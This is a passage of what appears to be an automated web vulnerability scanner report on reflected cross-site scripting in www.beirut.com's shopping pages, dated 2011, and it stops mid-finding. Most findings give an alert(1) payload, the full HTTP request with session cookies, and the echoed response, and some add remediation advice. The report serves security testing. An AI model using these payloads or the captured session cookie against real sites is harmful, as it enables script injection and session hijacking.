<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Shopping-Centersa5ffd'-alert(1)-'c7888ff4bbb/492064852/Commercial-Centers/12'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 346f3<script>alert(1)</script>17b8174ebbc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Shopping-Centers346f3<script>alert(1)</script>17b8174ebbc/492064852/Commercial-Centers/12 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:52:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59957
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Shopping Centers346f3<script>alert(1)</script>17b8174ebbc <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13b47'-alert(1)-'290b845ce07 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centers/49206485213b47'-alert(1)-'290b845ce07/Commercial-Centers/12 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:57:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60853
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Shopping-Centers/49206485213b47'-alert(1)-'290b845ce07/Commercial-Centers/12'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8541e'-alert(1)-'ca4337fdb27 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centers/492064852/Commercial-Centers8541e'-alert(1)-'ca4337fdb27/12 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:01:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60117
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Shopping-Centers/492064852/Commercial-Centers8541e'-alert(1)-'ca4337fdb27/12'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a81fa'-alert(1)-'2d7ae7ee7d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinga81fa'-alert(1)-'2d7ae7ee7d9/Shopping-Centers/492064852/Shopping-Malls/10 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:41:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60265
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shoppinga81fa'-alert(1)-'2d7ae7ee7d9/Shopping-Centers/492064852/Shopping-Malls/10'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89686"><a>ae9d922780c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping89686"><a>ae9d922780c/Shopping-Centers/492064852/Shopping-Malls/10 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:34:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59991
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping89686"><a>ae9d922780c"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c9882<script>alert(1)</script>ebae0710a1b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Shopping-Centersc9882<script>alert(1)</script>ebae0710a1b/492064852/Shopping-Malls/10 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:48:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56378
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Shopping Centersc9882<script>alert(1)</script>ebae0710a1b <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f82d5'-alert(1)-'8ad41671a0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centersf82d5'-alert(1)-'8ad41671a0/492064852/Shopping-Malls/10 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:47:24 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Shopping-Centersf82d5'-alert(1)-'8ad41671a0/492064852/Shopping-Malls/10'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82d57'-alert(1)-'dfc3e1d1619 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centers/49206485282d57'-alert(1)-'dfc3e1d1619/Shopping-Malls/10 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:50:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56957
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Shopping-Centers/49206485282d57'-alert(1)-'dfc3e1d1619/Shopping-Malls/10'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be4f0'-alert(1)-'4a3dd680759 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centers/492064852/Shopping-Mallsbe4f0'-alert(1)-'4a3dd680759/10 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:57:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56387
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Shopping-Centers/492064852/Shopping-Mallsbe4f0'-alert(1)-'4a3dd680759/10'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 91d91'-alert(1)-'24cd2b8df34 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centers/492064852/Shopping-Malls/1091d91'-alert(1)-'24cd2b8df34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:01:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60271
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Shopping-Centers/492064852/Shopping-Malls/1091d91'-alert(1)-'24cd2b8df34'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c548'-alert(1)-'fff390e69db was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping8c548'-alert(1)-'fff390e69db/Specialized-Stores/2572668008 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:50:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60148
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping8c548'-alert(1)-'fff390e69db/Specialized-Stores'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd5fb"><a>190ff575f9d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingcd5fb"><a>190ff575f9d/Specialized-Stores/2572668008 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:43:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59747
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingcd5fb"><a>190ff575f9d"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6737'-alert(1)-'5e490f3ea1e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Specialized-Storesa6737'-alert(1)-'5e490f3ea1e/2572668008 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:55:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55895
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Specialized-Storesa6737'-alert(1)-'5e490f3ea1e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2f97"><a>d9cc57a373c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingb2f97"><a>d9cc57a373c/Stores-Markets/3546182765 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:52:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingb2f97"><a>d9cc57a373c"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a26ff'-alert(1)-'0a504d2863 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
